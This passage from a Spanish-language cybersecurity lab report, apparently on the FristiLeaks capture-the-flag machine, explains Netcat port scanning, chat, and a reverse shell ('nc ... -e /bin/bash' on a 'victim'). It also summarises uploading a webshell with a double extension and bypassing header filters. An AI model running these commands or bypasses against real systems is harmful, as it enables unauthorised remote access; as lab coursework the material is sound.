d) Escanear puertos abiertos con Netcat
nc -zv 192.168.1.100 1-1000
Explicacion:

e -z — modo escaneo.

e -v — modo verbose.

e 1-1000 — rango de puertos a escanear.
e) Crear un chat entre dos maquinas con Netcat
Magquina A (servidor):
nc -lvp 5000
Maquina B (cliente):
nc 192.168.1.50 5000

Ahora puedes chatear entre ambas terminales.

f) Crear un shell reverso con Netcat (muy usado en Kali)

En la maquina atacante (escucha):
nc -lvp 4444

En la maquina victima:

nc 192.168.1.50 4444 -e /bin/bash

Esto otorga acceso remoto a la shell.

46



9 PROBLEMAS ENCONTRADOS

Restriccidon de extensiones de archivos en el servidor.
Bloqueo del listado de directorios /uploads/.

Filtrado basico de cabeceras PHP.

47



10 SOLUCIONES APLICADAS
Renombrar la webshell con doble extension (.php.png).

Uso de diccionarios common.txt y small.txt.

Bypass de filtros mediante cabeceras modificadas.

48



El laboratorio permitio:

11 CONCLUSIONES

49
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Comprender el uso avanzado de Netcat y sus aplicaciones.
Aprender a contar caracteres con diferentes comandos de Linux.
Descubrir vulnerabilidades en FristiLeaks y explotarlas exitosamente.

Mejorar habilidades en administracion de redes y ciberseguridad.
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